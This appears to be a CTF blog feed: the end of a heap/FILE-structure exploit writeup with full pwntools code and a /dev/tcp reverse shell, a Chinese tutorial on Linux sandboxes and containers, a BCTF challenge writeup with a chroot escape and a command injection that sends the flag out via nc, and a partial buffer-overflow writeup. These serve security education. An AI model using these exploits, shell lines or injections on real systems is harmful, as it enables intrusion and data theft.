}
</code></pre></div></div>
<p>Note that, since we closed both stdout and stderr during the leak stage, after we get /bin/sh running, we need to spawn a reverse shell to get an interactive shell.</p>
<h3 id="attack-remotely">Attack remotely</h3>
<p>After we got the local shell, we continued trying to attack remotely. after some unsuccessful tries. We suddenly realized that there was something we missed: the readme file inside the challenge package.</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>socat tcp-l:50216,reuseaddr,fork exec:/home/babyfs/babyfs,pty,ctty,echo=0
</code></pre></div></div>
<p>What is so called “,pty,ctty,echo=0”? To figure it out, we opened a local socat server and tried to attack “remotely”, then attached the debugger to the challenge process and tried to find out why the remote attack is failed . we found surprisingly that all the ‘\xff\x7f’ are disappear ! it seemed like the console parses the ‘\x7f’ as delete and “eat” the ‘\xff’. this drove us crazy for sure because we took a lot time to figure out how to escape the ‘\x7f’. Finally we knew the SYNC control character ‘\x16’ can escape the ‘\x7f’ and prevent the character before ‘\x7f’ to be eaten after the contest end. Yes! after the contest end QaQ.</p>
<p>Finally, Thanks Angelboy for making this great challenge, it is very fun.</p>
<h3 id="exploit-1">Exploit</h3>
<p>Here is the final exploit</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>from pwn import *
context.log_level="debug"
io=remote("52.198.183.186",50216)
def readuntil(delim):
data=io.recvuntil(delim)
return data
def readlen(n):
data=io.recv(n)
return data
def writeline(data):
io.sendline(data)
def write(data):
io.send(data)
def openfile(filename):
readuntil('choice: ')
writeline('1')
readuntil('Filename :')
writeline(filename)
def readfile(idx, size):
readuntil('choice: ')
writeline('2')
readuntil('Fileindex :')
writeline(str(idx))
readuntil('Size :')
writeline(str(size))
def writefile(idx):
readuntil('choice: ')
writeline('3')
readuntil('Fileindex :')
writeline(str(idx))
def closefile(idx):
readuntil('choice: ')
writeline('4')
readuntil('Fileindex :')
writeline(str(idx))
def _openfile(filename):
sleep(2)
writeline('1')
sleep(2)
writeline(filename)
sleep(2)
def _readfile(idx, size):
sleep(2)
writeline('2')
sleep(2)
writeline(str(idx))
sleep(2)
writeline(str(size))
sleep(2)
def _writefile(idx):
sleep(2)
writeline('3')
sleep(2)
writeline(str(idx))
sleep(2)
def _closefile(idx):
sleep(2)
writeline('4')
sleep(2)
writeline(str(idx))
sleep(2)
openfile("/dev/stdin")
openfile("/dev/stdout")
flags = 0xfbad3887
flags &= (~8)
flags |= 0x800
payload="A"*24+p64(0x231)+p32(flags)+p32(0)+p64(0)*13+p64(2)
readfile(0,len(payload))
sleep(2)
writeline(payload)
readfile(1,0)
payload2="B"*23+p64(0x231)+p32(flags)+p32(0)+p64(0)*3+'\x00'
readfile(0,len(payload2))
writeline(payload2)
closefile(1)
readuntil('\xad\xfb')
readlen(36)
buf=readlen(8)
heap=u64(buf)-0xf3
print "[LEAK] heap addr = ",hex(heap)
closefile(0)
sleep(2)
#again
openfile("/dev/stdin")
openfile("/dev/stdout")
flags = 0xfbad3887
flags &= (~8)
flags |= 0x800
payload="C"*24+p64(0x231)+p32(flags)+p32(0)+p64(0)*13+p64(1)
readfile(0,len(payload))
writeline(payload)
readuntil("Done")
readfile(1,0)
fakebuf=heap+0x140
fakebuf_end=heap+0x200
payload2="D"*23+p64(0x231)+p32(flags)+p32(0)+p64(0)*3+p64(fakebuf)+p64(fakebuf_end)*4
readfile(0,len(payload2))
writeline(payload2)
readuntil("Done")
closefile(1)
readuntil("Closing /dev/stdout ...")
readuntil("\n")
readlen(8)
libc=0
libc=u64(readlen(8))
libcbase=libc-0x3BE400
freehook=libcbase+0x3C3788
system=libcbase+0x456a0
print "[LEAK] libc addr = ",hex(libcbase)
#again without stdout
_openfile("/dev/../dev/stdin")
_closefile(0)
_openfile("/dev/stdin")
flags = 0xfbad208b
payload="/bin/sh".ljust(24,"\x00")+p64(0x231)+p32(flags)+p32(0)+p64(freehook)*6+p64(freehook)+p64(freehook+0x80)
lenpayload=len(payload)
payload=payload.replace('\x7f','\x16\x7f')
_readfile(0,lenpayload)
writeline(payload)
payload2=p64(system)
payload2=payload2.replace('\x7f','\x16\x7f')
_readfile(1,8)
writeline(payload2)
_closefile(0)
writeline("bash -c 'bash -i >& /dev/tcp/myipaddress/8888 0>&1'")
io.interactive()
</code></pre></div></div>AtumThe Challengelinux中的容器与沙箱初探2017-04-25T00:00:00+08:002017-04-25T00:00:00+08:00http://a7um.github.io/2017/04/25/linuxsandbox<h2 id="linux中的沙箱技术">linux中的沙箱技术</h2>
<h3 id="文件系统隔离">文件系统隔离</h3>
<h4 id="chroot-jail">chroot jail</h4>
<p>通常来说,提到chroot一般有两个含义,chroot(1)是/usr/bin/chroot, chroot(2)是glibc中的一个函数。</p>
<blockquote>
<p>chroot(1)<br />
chroot - run command or interactive shell with special root directory<br />
chroot [OPTION] NEWROOT [COMMAND [ARG]…]</p>
</blockquote>
<blockquote>
<p>chroot(2)<br />
chroot - change root directory<br />
int chroot(const char *path);</p>
</blockquote>
<p>chroot的主要功能就是改变根目录,如运行chroot “/home/atum/newroot/” 会启动一个新的shell,且目录”/home/atum/newroot/”成为该shell下的新的根目录”/”。</p>
<p>chroot沙箱可以将进程对文件的访问限制在一个指定的目录中,但是由于chroot不是一个安全的feature,所以该沙箱可能会被逃逸出来。关于chroot沙箱逃逸的方法<a href="https://github.com/earthquake/chw00t">在这里</a></p>
<h4 id="restricted-bash">restricted bash</h4>
<p>rbash的主要作用是限制了部分bash命令,其作用之一就是使得bash只能执行当前目录下的可执行文件,且不允许改变当前工作目录。</p>
<blockquote>
<p>If bash is started with the name rbash, or the -r option is supplied at invocation, the shell becomes restricted. A restricted shell is used to set up an environment more controlled than the standard shell.</p>
</blockquote>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>atum@ubuntu:~$ rbash
atum@ubuntu:~$ cd PWN
rbash: cd: restricted
atum@ubuntu:~$ ./PWN/rp++
rbash: ./PWN/rp++: restricted: cannot specify `/' in command names
atum@ubuntu:~$ export PATH=$PATH:/home/atum/PWN
rbash: PATH: readonly variable
</code></pre></div></div>
<p>rbash的绕过方法也有很多,通常跟chroot配合使用</p>
<h3 id="进程监控">进程监控</h3>
<h4 id="ptrace">ptrace</h4>
<p>ptrace是一个系统调用,tracer进程可以使用ptrace监控和修改tracee进程的运行状态,如内存、寄存器的值等。</p>
<blockquote>
<p>long ptrace(enum __ptrace_request request, pid_t pid,void *addr, void *data);</p>
</blockquote>
<blockquote>
<p>The ptrace() system call provides a means by which one process (the “tracer”) may observe and control the execution of another process (the “tracee”), and examine and change the tracee’s memory and registers.</p>
</blockquote>
<p>使用ptrace可以让某一进程处于受控状态,所以可以用作实现沙箱,如我们可以利用ptrace来监控tracee使用哪些系统调用,并组织tracee使用某些危险的系统调用等。</p>
<h4 id="seccomp">seccomp</h4>
<p>seccomp是linux提供的一种沙箱机制,可以用来限制程序可以使用和不可使用的系统调用</p>
<blockquote>
<p>seccomp (short for secure computing mode) is a computer security facility in the Linux kernel. seccomp allows a process to make a one-way transition into a “secure” state where it can only make user configured system calls</p>
</blockquote>
<p>seccomp沙箱主要有两种模式,SECCOMP_SET_MODE_STRICT只运行调用4个系统调用read(2), write(2), _exit(2), sigreturn(2)四个系统调用,而SECCOMP_SET_MODE_FILTER则允许通过BPF指定系统调用的黑名单或者白名单</p>
<blockquote>
<p>SECCOMP_SET_MODE_STRICT<br /> <br />
The only system calls that the calling thread is permitted to make are read(2), write(2), _exit(2) (but not exit_group(2)), and sigreturn(2).</p>
</blockquote>
<blockquote>
<p>SECCOMP_SET_MODE_FILTER<br />
The system calls allowed are defined by a pointer to a Berkeley Packet Filter (BPF) passed via args.</p>
</blockquote>
<p>seccomp本身是一种很安全的技术,但是在SECCOMP_SET_MODE_FILTER环境下通常会因为BPF使用不正确导致沙箱存在被绕过的可能。</p>
<h2 id="linux中的容器技术">linux中的容器技术</h2>
<h3 id="容器">容器:</h3>
<blockquote>
<p>operating-system-level virtualization is a server virtualization method in which the kernel of an operating system allows the existence of multiple isolated user-space instances, instead of just one. Such instances, which are sometimes called containers, software containers</p>
</blockquote>
<p>容器的目的是进行<strong>资源隔离</strong>和<strong>控制隔离</strong>。</p>
<ul>
<li>资源隔离:隔离计算资源,如CPU、RAM、DISK等。</li>
<li>控制隔离:隔离一些控制结构,如UID、PID等</li>
</ul>
<h3 id="cgroup与namespace"><strong>Cgroup</strong>与<strong>Namespace</strong>:</h3>
<p><strong>资源隔离</strong>依赖于linux内核的Cgroup实现,<strong>控制隔离</strong>依赖于linux内核的namespace</p>
<blockquote>
<p>The Linux kernel provides the cgroups functionality that allows limitation and prioritization of resources (CPU, memory, block I/O, network, etc.) without the need for starting any virtual machines, and also namespace isolation functionality that allows complete isolation of an applications’ view of the operating environment, including process trees, networking, user IDs and mounted file systems.</p>
</blockquote>
<p>目前比较有名的容器均是基于Cgroup和namespace实现的:</p>
<ul>
<li>LXC:
<blockquote>
<p>LXC combines the kernel’s cgroups and support for isolated namespaces to provide an isolated environment for applications</p>
</blockquote>
</li>
<li>Docker
<blockquote>
<p>Docker containers are very similar to LXC containers, and they have similar security features. When you start a container with docker run, behind the scenes Docker creates a set of namespaces and control groups for the container.</p>
</blockquote>
</li>
</ul>
<h3 id="使用namespace">使用<strong>Namespace</strong></h3>
<p>linux中的namespace思想上跟C++里面的差不多,通俗来说把一些全局的东西分割成很多份局部,而且使得处在局部里面的人以为自己是全局。</p>
<blockquote>
<p>A namespace wraps a global system resource in an abstraction that makes it appear to the processes within the namespace that they have their own isolated instance of the global resource. Changes to theg lobal resource are visible to other processes that are members of the namespace, but are invisible to other processes. One use of namespaces is to implement containers.</p>
</blockquote>
<p>目前最新版的linuxkernel支持7个命名空间</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Linux provides the following namespaces:
Namespace Constant Isolates
Cgroup CLONE_NEWCGROUP Cgroup root directory
IPC CLONE_NEWIPC System V IPC, POSIX message queues
Network CLONE_NEWNET Network devices, stacks, ports, etc.
Mount CLONE_NEWNS Mount points
PID CLONE_NEWPID Process IDs
User CLONE_NEWUSER User and group IDs
UTS CLONE_NEWUTS Hostname and NIS domain nam
</code></pre></div></div>
<h4 id="命名空间相关的api以及用法示例">命名空间相关的API以及用法示例:</h4>
<p><strong>clone</strong>:
创建一个新进程,并且可以根据flag创建新的命名空间。新创建的进程是该命名空间的owner</p>
<pre><code class="language-C">int clone(int (*fn)(void *), void *child_stack,int flags, void *arg, ...)
Example:
#define _GNU_SOURCE
#include <sys/wait.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int childFunc(char * str){
printf("%s: My pid is %d\n",str,getpid());
sleep(1000);
}
#define STACK_SIZE (1024 * 1024)
int main(int argc,char* argv[]){
void *stack = malloc(STACK_SIZE);
stackTop = stack + STACK_SIZE;
printf("parent: My pid is %d\n",getpid());
int pid = clone(childFunc, stackTop, CLONE_NEWPID | SIGCHLD, "child");
wait(NULL);
printf("parent: My child pid is %d\n",pid);
}
run it, we get:
parent: My pid is 12424
child: My pid is 0
parent: My child pid is 12425
</code></pre>
<p><strong>setns</strong> 让当前进程加入一个已存在的命名空间。命名空间由fd指定,命名空间类型由nstype指定。</p>
<pre><code class="language-C"> int setns(int fd, int nstype);
Example:
#define _GNU_SOURCE
#include <sys/wait.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char *argv[]){
int fd;
printf("before: my pid is %d",getpid());
fd = open("/proc/12425/ns/pid", O_RDONLY);
setns(fd, CLONE_NEWPID);
printf("after: my pid is %d",getpid());
}
run it, we get:
before: my pid is 12426
after: my pid is 2
</code></pre>
<p><strong>unshare</strong> 让当前进程离开当前的命名空间,然后创建并进入一个新的命名空间, 效果跟clone差不多,只不过unshare不会创建新的进程。</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>int unshare(int flags);
#define _GNU_SOURCE
#include <sys/wait.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char *argv[]){
printf("before: my pid is %d",getpid());
unshare(CLONE_NEWPID);
printf("before: my pid is %d",getpid());
}
run it we get:
before: my pid is 12427
after: my pid is 1
</code></pre></div></div>
<p>以上案例主要是以PID NAMESPACE为例,可以看得出PID NAMESPACE可以做到PID的隔离,其他NAMESPACE的用法类似,如USER NAMESPACE可以做到UID和GID的隔离,MOUNT NAMESPACE可以做到文件系统的隔离等。</p>
<p>另外,创建除了USER NAMESPACE以外的NAMESPACE需要root权限,所以通常的做法是首先进入USER NAMESPACE,这样就可以得到一个当前USER NAMESPACE下的root user,再创建其他的namespace</p>
<blockquote>
<p>A process created via fork(2) or clone(2) without the CLONE_NEWUSER flag is a member of the same user namespace as its parent</p>
</blockquote>
<blockquote>
<p>A call to clone(2) or unshare(2) with the CLONE_NEWUSER flag makes the new child process (for clone(2)) or the caller (for unshare(2)) a member of the new user namespace created by the call</p>
</blockquote>
<h3 id="使用cgroup">使用<strong>Cgroup</strong></h3>
<p>Cgroup用来限制和监控进程对资源的使用</p>
<blockquote>
<p>Control cgroups, usually referred to as cgroups, are a Linux kernel feature which allow processes to be organized into hierarchical groups whose usage of various types of resources can then be limited and monitored.</p>
</blockquote>
<h4 id="使用cgroup限制资源以cpu为例">使用Cgroup限制资源(以CPU为例):</h4>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>挂载指定cgroup
mount <span class="nt">-t</span> cgroup <span class="nt">-o</span> cpu,cpuacct none /sys/fs/cgroup/cpu,cpuacct
或者可以挂载所有cgroup
mount <span class="nt">-t</span> cgroup <span class="nt">-o</span> all cgroup /sys/fs/cgroup
查看已挂载的cgroup:
<span class="c"># ls /sys/fs/cgroup</span>
blkio cpu,cpuacct freezer net_cls perf_event
cpu cpuset hugetlb net_cls,net_prio pids
cpuacct devices memory net_prio systemd
创建一个新的cpu cgroup, 并设置该cgroup的进程最多使用50%的CPU
<span class="c"># mkdir /sys/fs/cgroup/cpu/cg1</span>
<span class="c"># </span>
运行一个耗时间的脚本
<span class="c">#!/bin/sh</span>
<span class="nv">i</span><span class="o">=</span>0<span class="p">;</span>
<span class="k">while </span><span class="nb">true</span><span class="p">;</span>
<span class="k">do </span><span class="nv">i</span><span class="o">=</span><span class="nv">$i</span>+1<span class="p">;</span>
<span class="k">done</span><span class="p">;</span>
查看CPU的使用
<span class="c"># top</span>
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
4145 root 20 0 21404 4544 2776 R 100.0 0.1 0:25.62 bash
将当前4145进程加入cgroup
<span class="nb">echo </span>4145 <span class="o">></span> /sys/fs/cgroup/cpu/cg1/tasks
再次查看CPU的使用
<span class="c"># top</span>
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
4145 root 20 0 30576 4696 2136 R 49.5 0.1 0:55.41 bash
</code></pre></div></div>
<p>cgroup以进程族(process group)为单位进行资源的限制,fork产生的子进程会继承父进程的cgroup。</p>
<blockquote>
<p>A child process created via fork(2) inherits its parent’s cgroup memberships. A process’s cgroup memberships are preserved across execve(2).</p>
</blockquote>
<p>另外,我们也可以使用setrlimit prlimit等系统调用来以单个用户或者单个进程为单位进行资源的限制,这两套资源限制的机制是独立生效的</p>Atumlinux中的沙箱技术BCTF2017 boj official writeup2017-04-20T00:00:00+08:002017-04-20T00:00:00+08:00http://a7um.github.io/2017/04/20/bctf2017boj<p>blue-lotus onlinejudge judge system, as you know, the code you submit will be run on remote server.
<a href="https://github.com/A7um/bctf2017/tree/master/boj">challenge environment</a></p>
<h2 id="step-1-escape-seccomp">step 1 escape seccomp</h2>
<ol>
<li>
<p>try to connect back to your host by</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code> system("echo hello|nc yourhost yourport")
result: failed, remote server filtered syscall execve
socket(yourhost:yourport)->send("hello")
result: wow, you get hello on yourhost:yourport
</code></pre></div> </div>
</li>
<li>
<p>use opendir->readdir->socket->send to list remote dir</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code> scf.so
14xxxxxxxx
</code></pre></div> </div>
</li>
<li>
<p>dump scf.so by open->read->socket->send. by reversing scf.so, you find that scf.so applied a seccomp syscall filter by hooking __libc_start_main.</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code> #define VALIDATE_ARCHITECTURE \
BPF_STMT(BPF_LD+BPF_W+BPF_ABS, arch_nr), \
BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, ARCH_NR, 1, 0), \
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL)
#define EXAMINE_SYSCALL \
BPF_STMT(BPF_LD+BPF_W+BPF_ABS, syscall_nr)
#define BLOCK_SYSCALL(name) \
BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, __NR_##name, 0, 1), \
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL)
/* Validate architecture. */
VALIDATE_ARCHITECTURE,
/* Grab the system call number. */
EXAMINE_SYSCALL,
BLOCK_SYSCALL(execve),
BLOCK_SYSCALL(fork),
BLOCK_SYSCALL(ptrace),
BLOCK_SYSCALL(clone),
BLOCK_SYSCALL(chroot),
BLOCK_SYSCALL(pivot_root),
BLOCK_SYSCALL(process_vm_readv),
BLOCK_SYSCALL(process_vm_writev),
ALLOW_PROCESS,
</code></pre></div> </div>
</li>
</ol>
<p>obviously, this filter can be evaded by x32abi.</p>
<h2 id="step-2-escape-chroot">step 2 escape chroot</h2>
<ol>
<li>
<p>run some api to gather infomation such as:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code> getuid,ret 0
getpid,ret 3
getcwd,ret /root/
system("ls everywhere")
cannot find flag and directory is not complete. you realize that you are in a chroot environment.
</code></pre></div> </div>
</li>
<li>
<p>escape chroot by</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code> mkdir("tmpdir", 0755);
dir_fd = open(".", O_RDONLY);
if(chroot("tmpdir")){
perror("chroot");
}
fchdir(dir_fd);
close(dir_fd);
for(x = 0; x < 1000; x++) chdir("..");
chroot(".");
</code></pre></div> </div>
</li>
<li>
<p>list dir outside, you find some interesting files</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code> /flag
/start.h
/home/ctf/setup.h
/home/ctf/oj/*
</code></pre></div> </div>
</li>
<li>
<p>try to read /flag, you get permission deny. run system(“ls -al /flag”), you get</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code> -r--r----- 1 nobody nogroup 46 Apr 14 03:21 flag
</code></pre></div> </div>
</li>
<li>
<p>read /start.sh and /home/ctf/setup.sh, you find some binaries of boj:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code> /usr/lib/cgi-bin/onlinejudge.cgi
/usr/lib/cgi-bin/statequery.cgi
/home/ctf/oj/sandbox/sandbox
/home/ctf/oj/sandbox/scf.so
/home/ctf/oj/sandbox/cr
</code></pre></div> </div>
</li>
<li>
<p>dump these binaries</p>
</li>
</ol>
<h2 id="step-3-escape-usernamespace">step 3 escape usernamespace</h2>
<ol>
<li>reverse sandbox, you find you are in a user namepsace. the root you own is not a real root. uid=0 inside namespace is mapped to uid=1000 outside.</li>
<li>
<p>reverse cr, you find there is a command injection bug.</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code> int run(char* binname){
....
snprintf(runcmd,310,"%s %s",sandboxpath,binpath);
....
if(pid==0){
drop(1000,1000);
if (signal(SIGALRM, (__sighandler_t)timeouthandler) < 0){
perror("signal");
}
alarm(2);
snprintf(state,300,"submit id: %s</br>state: %s</br>result: %s</br>",submitid,"Runing","N/A");
fd=open(statepath,O_WRONLY|O_CREAT);
write(fd,state,strlen(state));
close(fd);
chdir(sandboxdirname);
system(runcmd);
....
</code></pre></div> </div>
</li>
<li>
<p>cr is running outside the namespace, you can inject command to get which user&group the flag really belong to</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code> touch '/home/ctf/oj/bin/ad.c;ls -al flag|nc yourhost yourport';
-r--r----- 1 root www-data 46 Apr 14 03:21 flag
</code></pre></div> </div>
</li>
<li>
<p>www-data is uid=33 && gid=33(read /etc/passwd). by reversing cr, you find: cr set it uid&&gid to 33 before compile. and by the way, these is a command injection error in compile function.</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code> int compile(char *srcname){
....
snprintf(compilecmd,310,"gcc -o %s %s",binpath,srcpath);
....
if(pid==0)
{
drop(33,33);
if (signal(SIGALRM, (__sighandler_t)timeouthandler) < 0){
perror("signal");
}
alarm(1);
snprintf(state,300,"submit id: %s</br>state: %s</br>result: %s</br>",submitid,"Compiling","N/A");
fd=open(statepath,O_WRONLY|O_CREAT);
write(fd,state,strlen(state));
close(fd);
system(compilecmd);//file name command injuection
....
</code></pre></div> </div>
</li>
<li>
<p>read flag by submiting system(“touch ‘/home/ctf/oj/src/hahaha.c;cat flag |nc yourhost yourport;’”);</p>
</li>
<li>you get flag on your own host, done :)</li>
</ol>
<h2 id="something-else">something else</h2>
<p>Chanllenge boj is designed to be a whitebox challenge mainly, the only blackbox step is try to connect back and get scf.so. after you get scf.so, you need to do something like: list dir->dump binaries->reversing->exploit->list dir->dump binaries->reversing->exploit…</p>
<p>I saw some teams tried and guessed blindly during the game. as we know, such guessing and trying is boring. I feel so sorry about that, maybe some infomation in this challenge mislead you guys to do a purely blackbox attack.</p>Atumblue-lotus onlinejudge judge system, as you know, the code you submit will be run on remote server. challenge environmentpwnhub.cn 名字还在起 无题 writeup2016-12-25T00:00:00+08:002016-12-25T00:00:00+08:00http://a7um.github.io/2016/12/25/nonamepwn<p>当天晚上跟大佬们出去high了没做题目,结果第二天起床之后就发现一血二血都被大佬们拿走了,膜</p>
<h2 id="题目分析">题目分析</h2>
<p>刚拿到之后丢进IDA看了一下,好多函数。然后随便点几个函数进去,发现所有的函数都是一个形式的,我随便找几个大家感受一下就明白了:</p>
<pre><code class="language-C">size_t func_17979()
{
char ptr; // [rsp+0h] [rbp-C0h]@1
fread(&ptr, 0xB3uLL, 1uLL, stdin);
return fwrite("thank you for testing!!\n", 1uLL, 0x18uLL, stdout);
}
size_t func_60781()
{
char ptr; // [rsp+0h] [rbp-C0h]@1
fread(&ptr, 0xB5uLL, 1uLL, stdin);
return fwrite("thank you for testing!!\n", 1uLL, 0x18uLL, stdout);
}
size_t func_92021()
{
char ptr; // [rsp+0h] [rbp-20h]@1
fread(&ptr, 0x15uLL, 1uLL, stdin);
return fwrite("thank you for testing!!\n", 1uLL, 0x18uLL, stdout);
}
</code></pre>
<p>然后看了一下主函数的逻辑,发现上述的这些函数的调用方式为直接输入函数名字后面的数字就可以调到相应的函数,比如输入17979就会调func_17979。所以这个题目看起来像是从这将近3000长得差不多的函数里面找一个有溢出的函数。。orzzzz</p>
<p>于是我写了一个IDA脚本</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for</span> <span class="n">addr</span> <span class="ow">in</span> <span class="n">XrefsTo</span><span class="p">(</span><span class="mh">0x00400550</span><span class="p">,</span> <span class="n">flags</span><span class="o">=</span><span class="mi">0</span><span class="p">):</span>
<span class="n">func</span><span class="o">=</span><span class="n">addr</span><span class="o">.</span><span class="n">frm</span><span class="p">;</span>
<span class="n">writesize</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
<span class="n">buffersize</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
<span class="k">while</span><span class="p">(</span><span class="mi">1</span><span class="p">):</span>
<span class="k">if</span><span class="p">(</span><span class="n">Byte</span><span class="p">(</span><span class="n">func</span><span class="p">)</span><span class="o">==</span><span class="mh">0xBE</span> <span class="ow">and</span> <span class="n">Byte</span><span class="p">(</span><span class="n">func</span><span class="o">+</span><span class="mi">2</span><span class="p">)</span><span class="o">==</span><span class="mh">0x00</span> <span class="ow">and</span> <span class="n">Byte</span><span class="p">(</span><span class="n">func</span><span class="o">+</span><span class="mi">3</span><span class="p">)</span><span class="o">==</span><span class="mh">0x00</span> <span class="ow">and</span> <span class="n">Byte</span><span class="p">(</span><span class="n">func</span><span class="o">+</span><span class="mi">4</span><span class="p">)</span><span class="o">==</span><span class="mh">0x00</span><span class="p">):</span>
<span class="n">writesize</span><span class="o">=</span><span class="n">Byte</span><span class="p">(</span><span class="n">func</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span>
<span class="k">elif</span><span class="p">(</span><span class="n">Byte</span><span class="p">(</span><span class="n">func</span><span class="p">)</span><span class="o">==</span><span class="mh">0xBE</span> <span class="ow">and</span> <span class="n">Byte</span><span class="p">(</span><span class="n">func</span><span class="o">+</span><span class="mi">3</span><span class="p">)</span><span class="o">==</span><span class="mh">0x00</span> <span class="ow">and</span> <span class="n">Byte</span><span class="p">(</span><span class="n">func</span><span class="o">+</span><span class="mi">4</span><span class="p">)</span><span class="o">==</span><span class="mh">0x00</span> <span class="ow">and</span> <span class="n">Byte</span><span class="p">(</span><span class="n">func</span><span class="o">+</span><span class="mi">5</span><span class="p">)</span><span class="o">==</span><span class="mh">0x00</span><span class="p">):</span>
<span class="n">writesize</span><span class="o">=</span><span class="n">Word</span><span class="p">(</span><span class="n">func</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span>
<span class="k">if</span><span class="p">(</span><span class="n">Byte</span><span class="p">(</span><span class="n">func</span><span class="p">)</span><span class="o">==</span><span class="mh">0x48</span> <span class="ow">and</span> <span class="n">Byte</span><span class="p">(</span><span class="n">func</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span><span class="o">==</span><span class="mh">0x83</span> <span class="ow">and</span> <span class="n">Byte</span><span class="p">(</span><span class="n">func</span><span class="o">+</span><span class="mi">2</span><span class="p">)</span><span class="o">==</span><span class="mh">0xEC</span><span class="p">):</span>
<span class="n">buffersize</span><span class="o">=</span><span class="n">Byte</span><span class="p">(</span><span class="n">func</span><span class="o">+</span><span class="mi">3</span><span class="p">)</span>
<span class="k">break</span><span class="p">;</span>
<span class="k">elif</span><span class="p">(</span><span class="n">Byte</span><span class="p">(</span><span class="n">func</span><span class="p">)</span><span class="o">==</span><span class="mh">0x48</span> <span class="ow">and</span> <span class="n">Byte</span><span class="p">(</span><span class="n">func</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span><span class="o">==</span><span class="mh">0x81</span> <span class="ow">and</span> <span class="n">Byte</span><span class="p">(</span><span class="n">func</span><span class="o">+</span><span class="mi">2</span><span class="p">)</span><span class="o">==</span><span class="mh">0xEC</span><span class="p">):</span>
<span class="n">buffersize</span><span class="o">=</span><span class="n">Byte</span>
<span class="k">break</span><span class="p">;</span>
<span class="k">elif</span><span class="p">(</span><span class="n">Byte</span><span class="p">(</span><span class="n">func</span><span class="p">)</span><span class="o">==</span><span class="mh">0x48</span> <span class="ow">and</span> <span class="n">Byte</span><span class="p">(</span><span class="n">func</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span><span class="o">==</span><span class="mh">0x83</span> <span class="ow">and</span> <span class="n">Byte</span><span class="p">(</span><span class="n">func</span><span class="o">+</span><span class="mi">2</span><span class="p">)</span><span class="o">==</span><span class="mh">0xC4</span><span class="p">):</span>
<span class="n">buffersize</span><span class="o">=</span><span class="n">Byte</span>
<span class="k">break</span><span class="p">;</span>
<span class="n">func</span><span class="o">-=</span><span class="mi">1</span><span class="p">;</span>
<span class="k">if</span><span class="p">(</span><span class="n">addr</span><span class="o">.</span><span class="n">frm</span><span class="o">-</span><span class="n">func</span> <span class="o">></span> <span class="mh">0x40</span><span class="p">):</span>
<span class="k">break</span><span class="p">;</span>
<span class="k">if</span> <span class="n">writesize</span><span class="o">==</span><span class="mi">0</span> <span class="ow">or</span> <span class="n">buffersize</span><span class="o">==</span><span class="mi">0</span><span class="p">:</span>
<span class="k">print</span> <span class="s">"error"</span><span class="p">,</span><span class="nb">hex</span><span class="p">(</span><span class="n">addr</span><span class="o">.</span><span class="n">frm</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">buffersize</span><span class="o"><</span><span class="n">writesize</span><span class="p">:</span>
<span class="k">print</span> <span class="s">"oflow"</span><span class="p">,</span><span class="nb">hex</span><span class="p">(</span><span class="n">addr</span><span class="o">.</span><span class="n">frm</span><span class="p">),</span><span class="s">"buffersize="</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">buffersize</span><span class="p">)),</span><span class="s">"writesize="</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">writesize</span><span class="p">))</span>
</code></pre></div></div>
<p>放在IDA里面跑一下 很快就输出了有漏洞的函数的offset</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>oflow 0x40d169L buffersize=0x20 writesize=0x30
</code></pre></div></div>
<h2 id="漏洞利用">漏洞利用</h2>
<p>利用比较有技巧性的一点是这题的溢出只有0x10 Bytes,所以要把栈劫持到bss上,也就是做Stack Pivot。关于这一点做法其实很多,一种方法是不断调用有漏洞函数然后leave ret返回main,这样每次可以往bss段写0x20的数据,所来几次就可以把ROP chain写全。但是我觉得这样做太蛋疼了所以没这么干,就去想了想新方法,后面发现新方法更蛋疼。。。</p>
<p>我的ROP的做法如下</p>
<ol>
<li>第一次触发漏洞,在leave的时候改写rbp为bss的末端地址rbp1,返回漏洞函数的<strong>sub rsp, 20h</strong>指令之后。</li>
<li>第二次触发漏洞,由于rbp被劫持到rbp1,所以这一次fread会向rbp-0x20写入数据,且在leave到时候会改写rsp为rbp1,改写rbp为rbp2,其中rbp2为rbp1-0x20,返回一个能够读入0xd0字节的函数的<strong>sub rsp, d0h</strong>指令之后。</li>
